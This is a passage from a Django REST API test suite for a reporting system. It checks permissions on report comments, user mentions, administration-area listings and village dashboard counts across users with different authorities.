args=[self.report.id]), params) self.assertEqual(response.status_code, 403) def test_post_api_report_comment_wih_user_cannot_access_by_report_comment(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) params = { "reportId": self.report.id, "message": "Hello baby", } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 403) ''' def test_post_api_report_comment_on_area_that_child_of_permitted_administration_area_by_report(self): area = self.area.add_child(name='Namsan', location=self.area.location) report = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "I am Back", } response = self.client.post(reverse('report-comment', args=[report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], report.id) self.assertEqual(response_json['message'], 'I am Back') def test_post_api_report_comment_on_area_that_child_of_permitted_administration_area_by_report_with_authority(self): area = self.area.add_child(name='Namsan', location=self.area.location) report = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "I am Back", } response = self.client.post(reverse('report-comment', args=[report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], report.id) self.assertEqual(response_json['message'], 'I am Back') def test_post_api_report_comment_on_area_that_child_of_permitted_administration_area_by_report_comment(self): area = self.area.add_child(name='Namsan', location=self.area.location) report = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "I am Back", "reportId": report.id, } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], report.id) self.assertEqual(response_json['message'], 'I am Back') def test_post_api_report_comment_on_area_that_child_of_permitted_administration_area_by_report_comment_with_authority(self): area = self.area.add_child(name='Namsan', location=self.area.location) report = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "I am Back", "reportId": report.id, } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], report.id) self.assertEqual(response_json['message'], 'I am Back') ''' def test_post_api_report_mention_comment_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "Hello @[%s]" % self.jessica.username, } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.jessica.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.taeyeon) self.assertEqual(mention.mentionee, self.jessica) self.assertEqual(mention.is_notified, False) def test_post_api_report_mention_comment_by_report_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "Hello @[%s]" % self.jessica.username, } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.jessica.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.krystal) self.assertEqual(mention.mentionee, self.jessica) self.assertEqual(mention.is_notified, False) def test_post_api_report_mentions_comment_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "Hello @[%s] @[%s]" % (self.jessica.username, self.yoona.username) } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s] @[%s]' % (self.jessica.username, self.yoona.username)) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention1 = Mention.objects.filter(mentionee__id=self.jessica.id).latest('id') self.assertEqual(mention1.comment.id, comment.id) self.assertEqual(mention1.mentioner, self.taeyeon) self.assertEqual(mention1.mentionee, self.jessica) self.assertEqual(mention1.is_notified, False) mention2 = Mention.objects.filter(mentionee__id=self.yoona.id).latest('id') self.assertEqual(mention2.comment.id, comment.id) self.assertEqual(mention2.mentioner, self.taeyeon) self.assertEqual(mention2.mentionee, self.yoona) self.assertEqual(mention2.is_notified, False) def test_post_api_report_mentions_comment_by_report_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "Hello @[%s] @[%s]" % (self.jessica.username, self.yoona.username) } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s] @[%s]' % (self.jessica.username, self.yoona.username)) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention1 = Mention.objects.filter(mentionee__id=self.jessica.id).latest('id') self.assertEqual(mention1.comment.id, comment.id) self.assertEqual(mention1.mentioner, self.krystal) self.assertEqual(mention1.mentionee, self.jessica) self.assertEqual(mention1.is_notified, False) mention2 = Mention.objects.filter(mentionee__id=self.yoona.id).latest('id') self.assertEqual(mention2.comment.id, comment.id) self.assertEqual(mention2.mentioner, self.krystal) self.assertEqual(mention2.mentionee, self.yoona) self.assertEqual(mention2.is_notified, False) def test_post_api_report_myself_mentions_comment_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "Hello @[%s]" % self.taeyeon.username } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.taeyeon.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.taeyeon) self.assertEqual(mention.mentionee, self.taeyeon) self.assertEqual(mention.is_notified, True) def test_post_api_report_myself_mentions_comment_by_report_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "Hello @[%s]" % self.krystal.username } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.krystal.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.krystal) self.assertEqual(mention.mentionee, self.krystal) self.assertEqual(mention.is_notified, True) def test_post_api_report_mention_comment_by_report_comment(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": self.report.id, "message": "Hello @[%s]" % self.jessica.username, } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.jessica.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.taeyeon) self.assertEqual(mention.mentionee, self.jessica) self.assertEqual(mention.is_notified, False) def test_post_api_report_mention_comment_by_report_comment_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": self.report.id, "message": "Hello @[%s]" % self.jessica.username, } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.jessica.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.krystal) self.assertEqual(mention.mentionee, self.jessica) self.assertEqual(mention.is_notified, False) def test_post_api_report_mentions_comment_by_report_comment(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": self.report.id, "message": "Hello @[%s] @[%s]" % (self.jessica.username, self.yoona.username) } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s] @[%s]' % (self.jessica.username, self.yoona.username)) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention1 = Mention.objects.filter(mentionee__id=self.jessica.id).latest('id') self.assertEqual(mention1.comment.id, comment.id) self.assertEqual(mention1.mentioner, self.taeyeon) self.assertEqual(mention1.mentionee, self.jessica) self.assertEqual(mention1.is_notified, False) mention2 = Mention.objects.filter(mentionee__id=self.yoona.id).latest('id') self.assertEqual(mention2.comment.id, comment.id) self.assertEqual(mention2.mentioner, self.taeyeon) self.assertEqual(mention2.mentionee, self.yoona) self.assertEqual(mention2.is_notified, False) def test_post_api_report_mentions_comment_by_report_comment_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": self.report.id, "message": "Hello @[%s] @[%s]" % (self.jessica.username, self.yoona.username) } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s] @[%s]' % (self.jessica.username, self.yoona.username)) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention1 = Mention.objects.filter(mentionee__id=self.jessica.id).latest('id') self.assertEqual(mention1.comment.id, comment.id) self.assertEqual(mention1.mentioner, self.krystal) self.assertEqual(mention1.mentionee, self.jessica) self.assertEqual(mention1.is_notified, False) mention2 = Mention.objects.filter(mentionee__id=self.yoona.id).latest('id') self.assertEqual(mention2.comment.id, comment.id) self.assertEqual(mention2.mentioner, self.krystal) self.assertEqual(mention2.mentionee, self.yoona) self.assertEqual(mention2.is_notified, False) def test_post_api_report_myself_mentions_comment_by_report_comment(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": self.report.id, "message": "Hello @[%s]" % self.taeyeon.username } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.taeyeon.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.taeyeon) self.assertEqual(mention.mentionee, self.taeyeon) self.assertEqual(mention.is_notified, True) def test_post_api_report_myself_mentions_comment_by_report_comment_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": self.report.id, "message": "Hello @[%s]" % self.krystal.username } response = self.client.post(reverse('reportcomment-list'), params) self.assertEqual(response.status_code, 201) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], self.report.id) self.assertEqual(response_json['message'], 'Hello @[%s]' % self.krystal.username) self.assertEqual(response_json['fileUrl'], None) comment = ReportComment.objects.latest('id') mention = Mention.objects.latest('id') self.assertEqual(mention.comment.id, comment.id) self.assertEqual(mention.mentioner, self.krystal) self.assertEqual(mention.mentionee, self.krystal) self.assertEqual(mention.is_notified, True) def test_get_api_report_comment_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "message": "Hello baby", } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') response = self.client.get(reverse('report-comments', args=[self.report.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) comment1 = response_json[0] self.assertEqual(comment1['reportId'], self.report.id) self.assertEqual(comment1['message'], u'@[%(username)s] ได้ทำการตั้งค่าสถานะเป็น %(state)s' % {'username': self.report.created_by.username, 'state': 'Report'}) comment2 = response_json[1] self.assertEqual(comment2['reportId'], self.report.id) self.assertEqual(comment2['message'], 'Hello baby') def test_get_api_report_comment_by_report_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "message": "Hello baby", } response = self.client.post(reverse('report-comment', args=[self.report.id]), params) self.assertEqual(response.status_code, 201) comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, self.report) self.assertEqual(comment.message, 'Hello baby') response = self.client.get(reverse('report-comments', args=[self.report.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) comment1 = response_json[0] self.assertEqual(comment1['reportId'], self.report.id) self.assertEqual(comment1['message'], u'@[%(username)s] ได้ทำการตั้งค่าสถานะเป็น %(state)s' % {'username': self.report.created_by.username, 'state': 'Report'}) comment2 = response_json[1] self.assertEqual(comment2['reportId'], self.report.id) self.assertEqual(comment2['message'], 'Hello baby') ''' def test_get_api_report_comment_that_area_is_child_of_permitted_administration_area_by_report_comment(self): area = self.area.add_child(name='Namsan', location=self.area.location) report = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=area) comment = factory.create_report_comment(report=report) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reportcomment-detail', args=[comment.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], comment.report.id) self.assertEqual(response_json['message'], comment.message) def test_get_api_report_comment_that_area_is_child_of_permitted_administration_area_by_report_comment_with_authority(self): area = self.area.add_child(name='Namsan', location=self.area.location) report = factory.create_report(created_by=self.krystal, type=self.type, administration_area=area) comment = factory.create_report_comment(report=report) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('reportcomment-detail', args=[comment.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['reportId'], comment.report.id) self.assertEqual(response_json['message'], comment.message) ''' def test_get_api_report_comment_wih_user_cannot_access_by_report(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('report-comments', args=[self.report.id])) self.assertEqual(response.status_code, 403) class TestApiAdministrationAreaList(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.minah = factory.create_user(is_superuser=True, is_staff=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.authority_1 = factory.create_authority() self.authority_1.users.add(self.jessica) self.area1 = factory.create_administration_area(name='Seoul', authority=self.authority_1) self.area2 = factory.create_administration_area(name='Tokyo', authority=self.authority) self.area2_1 = self.area2.add_child(name='Namsan', location=self.area2.location) self.area2_1_1 = self.area2_1.add_child(name='Namsan Tower', location=self.area2.location) self.area3 = factory.create_administration_area(name='Chiang Mai', authority=self.authority) self.authority_1.inherits.add(self.authority) def test_api_list_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) area1 = response_json[0] self.assertEqual(area1['id'], self.area3.id) self.assertEqual(area1['name'], self.area3.name) self.assertEqual(area1['address'], self.area3.address) # self.assertEqual(area1['parentName'], '') # self.assertEqual(area1['isLeaf'], True) # area2 = response_json[1] # self.assertEqual(area2['id'], self.area2_1.id) # self.assertEqual(area2['name'], self.area2_1.name) # self.assertEqual(area2['address'], self.area2_1.address) # # self.assertEqual(area2['parentName'], self.area2.name) # # self.assertEqual(area2['isLeaf'], False) # # area3 = response_json[2] # self.assertEqual(area3['id'], self.area2_1_1.id) # self.assertEqual(area3['name'], self.area2_1_1.name) # self.assertEqual(area3['address'], self.area2_1_1.address) # # self.assertEqual(area3['parentName'], self.area2_1.name) # # self.assertEqual(area3['isLeaf'], True) area4 = response_json[1] self.assertEqual(area4['id'], self.area1.id) self.assertEqual(area4['name'], self.area1.name) self.assertEqual(area4['address'], self.area1.address) # self.assertEqual(area4['parentName'], '') # self.assertEqual(area4['isLeaf'], True) area5 = response_json[2] self.assertEqual(area5['id'], self.area2.id) self.assertEqual(area5['name'], self.area2.name) self.assertEqual(area5['address'], self.area2.address) # self.assertEqual(area5['parentName'], '') # self.assertEqual(area5['isLeaf'], False) def test_api_list_administration_area_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) def test_api_list_administration_area_only_has_permission_on_those_administration_areas(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 1) area1 = response_json[0] self.assertEqual(area1['id'], self.area1.id) self.assertEqual(area1['name'], self.area1.name) self.assertEqual(area1['address'], self.area1.address) # self.assertEqual(area1['parentName'], '') def test_api_list_administration_area_only_group_has_role_reporter(self): group_a = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA) area = factory.create_administration_area() factory.create_group_administration_area(group=group_a, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) def test_api_list_administration_area_return_empty_list_if_not_have_any_permission(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 0) def test_staff_can_get_all_api_list_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.minah.auth_token.key) response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 5) def test_anonymous_cannot_access_api_list_administration_area(self): response = self.client.get(reverse('administrationarea-list')) self.assertEqual(response.status_code, 401) class TestApiAdministrationArea(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user(is_staff=True, is_superuser=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.area1 = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority) def test_api_get_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[self.area1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], self.area1.id) self.assertEqual(response_json['name'], self.area1.name) self.assertEqual(response_json['address'], self.area1.address) def test_api_get_administration_area_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[self.area1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], self.area1.id) self.assertEqual(response_json['name'], self.area1.name) self.assertEqual(response_json['address'], self.area1.address) ''' def test_api_get_administration_area_that_is_child_of_area_that_has_permission(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[area.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], area.id) self.assertEqual(response_json['name'], area.name) self.assertEqual(response_json['address'], area.address) def test_api_get_administration_area_that_is_child_of_area_that_has_permission_with_authority(self): area = self.area1.add_child(name='Namsan', location=self.area1.location) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[area.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['id'], area.id) self.assertEqual(response_json['name'], area.name) self.assertEqual(response_json['address'], area.address) ''' def test_cannot_get_api_get_administration_area_if_user_dont_have_authorized(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[self.area1.id])) self.assertEqual(response.status_code, 403) def test_cannot_get_api_get_administration_area_if_group_is_not_has_role_reporter(self): group_a = factory.add_user_to_new_group(user=self.taeyeon, type=GROUP_WORKING_TYPE_ALERT_REPORT_ADMINSTRATION_AREA) area = factory.create_administration_area() factory.create_group_administration_area(group=group_a, administration_area=area) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[area.id])) self.assertEqual(response.status_code, 403) def test_cannot_get_api_get_administration_area_if_not_exists(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[self.area1.id+100])) self.assertEqual(response.status_code, 404) def test_staff_can_get_api_get_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('administrationarea-detail', args=[self.area1.id])) self.assertEqual(response.status_code, 200) def test_anonymous_cannot_access_api_get_administration_area(self): response = self.client.get(reverse('administrationarea-detail', args=[self.area1.id])) self.assertEqual(response.status_code, 401) class TestApiDashboard(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) call_command('clear_graph', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user(is_staff=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.authority_1 = factory.create_authority() self.authority_1.users.add(self.jessica) self.type = factory.create_report_type(authority=self.authority) self.area1 = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority_1) self.authority_1.inherits.add(self.authority) self.report1 = factory.create_report(type=self.type, administration_area=self.area1, negative=True) self.report2 = factory.create_report(type=self.type, administration_area=self.area1, negative=False) self.report3 = factory.create_report(type=self.type, administration_area=self.area2, negative=True) def test_get_api_dashboard_with_staff_user(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('dashboard_villages')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) response_json = order_list_by_id(response_json) area1 = response_json[0] self.assertEqual(area1['id'], self.area1.id) self.assertEqual(area1['name'], self.area1.name) self.assertEqual(area1['positive'], 1) self.assertEqual(area1['negative'], 1) area2 = response_json[1 ] self.assertEqual(area2['id'], self.area2.id) self.assertEqual(area2['name'], self.area2.name) self.assertEqual(area2['positive'], 0) self.assertEqual(area2['negative'], 1) def test_get_api_dashboard_with_full_access_user(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('dashboard_villages')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) area1 = response_json[0] self.assertEqual(area1['id'], self.area1.id) self.assertEqual(area1['name'], self.area1.name) self.assertEqual(area1['positive'], 1) self.assertEqual(area1['negative'], 1) area2 = response_json[1] self.assertEqual(area2['id'], self.area2.id) self.assertEqual(area2['name'], self.area2.name) self.assertEqual(area2['positive'], 0) self.assertEqual(area2['negative'], 1) def test_get_api_dashboard_with_full_access_user_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('dashboard_villages')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 1) area1 = response_json[0] self.assertEqual(area1['id'], self.area2.id) self.assertEqual(area1['name'], self.area2.name) self.assertEqual(area1['positive'], 0) self.assertEqual(area1['negative'], 1) def test_get_api_dashboard_with_some_access_user(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) response = self.client.get(reverse('dashboard_villages')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 1) area1 = response_json[0] self.assertEqual(area1['id'], self.area2.id) self.assertEqual(area1['name'], self.area2.name) self.assertEqual(area1['positive'], 0) self.assertEqual(area1['negative'], 1) ''' def test_get_api_dashboard_always_include_report_type_0(self): try: default_positive_type = ReportType.objects.get(id=0) except ReportType.DoesNotExist: default_positive_type = ReportType.objects.create(id=0, code='positive-report', name='positive report') factory.create_report(type=default_positive_type, administration_area=self.area1, negative=False) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('dashboard_villages')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) area1 = response_json[0] self.assertEqual(area1['id'], self.area1.id) self.assertEqual(area1['name'], self.area1.name) self.assertEqual(area1['address'], self.area1.address) self.assertEqual(area1['positive'], 2) self.assertEqual(area1['negative'], 1) area2 = response_json[1] self.assertEqual(area2['id'], self.area2.id) self.assertEqual(area2['name'], self.area2.name) self.assertEqual(area2['address'], self.area2.address) self.assertEqual(area2['positive'], 0) self.assertEqual(area2['negative'], 1) def test_get_api_dashboard_always_include_report_type_0_with_authority(self): try: default_positive_type = ReportType.objects.get(id=0) except ReportType.DoesNotExist: default_positive_type = ReportType.objects.create(id=0, code='positive-report', name='positive report') factory.create_report(type=default_positive_type, administration_area=self.area1, negative=False) self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) response = self.client.get(reverse('dashboard_villages')) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 1) area1 = response_json[0] self.assertEqual(area1['id'], self.area1.id) self.assertEqual(area1['name'], self.area1.name) self.assertEqual(area1['address'], self.area1.address) self.assertEqual(area1['positive'], 2) self.assertEqual(area1['negative'], 1) ''' ''' @patch('django_redis.get_redis_connection', mock_strict_redis_client) class TestApiReportSummaryByMonth(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user(username='taeyeon') self.jessica = factory.create_user(username='jessica') self.yoona = factory.create_user(username='yoona') self.authority = factory.create_authority() self.authority.users.add(self.yoona) self.group_a = factory.add_user_to_new_group_type_administration_area(user=self.taeyeon) self.group_r = factory.add_user_to_new_group_type_report_type(user=self.taeyeon) self.type1 = factory.create_report_type() self.type2 = factory.create_report_type() self.type3 = factory.create_report_type() factory.create_group_report_type(group=self.group_r, report_type=self.type1) factory.create_group_report_type(group=self.group_r, report_type=self.type2) self.authority.report_types.add(self.type1) self.authority.report_types.add(self.type2) self.area1 = factory.create_administration_area() self.area2 = factory.create_administration_area() self.area3 = factory.create_administration_area() factory.create_group_administration_area(group=self.group_a, administration_area=self.area1) factory.create_group_administration_area(group=self.group_a, administration_area=self.area2) self.authority.administration_areas.add(self.area1) self.authority.administration_areas.add(self.area2) self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type2, administration_area=self.area2, incident_date=datetime.date(2014, 11, 14), negative=True) self.report2 = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=self.area1, incident_date=datetime.date(2014, 11, 14), negative=False) self.report3 = factory.create_report(created_by=self.jessica, type=self.type1, administration_area=self.area2, incident_date=datetime.date(2014, 11, 27), negative=True) self.report4 = factory.create_report(created_by=self.taeyeon, type=self.type3, administration_area=self.area2, incident_date=datetime.date(2014, 11, 14), negative=True) self.report5 = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=self.area3, incident_date=datetime.date(2014, 11, 3), negative=False) def test_api_report_summary_by_month(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = {'month': '11/2014'} response = self.client.get(reverse('reports_summary_by_month'), params) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 3) user1 = response_json[0] self.assertEqual(user1['fullname'], 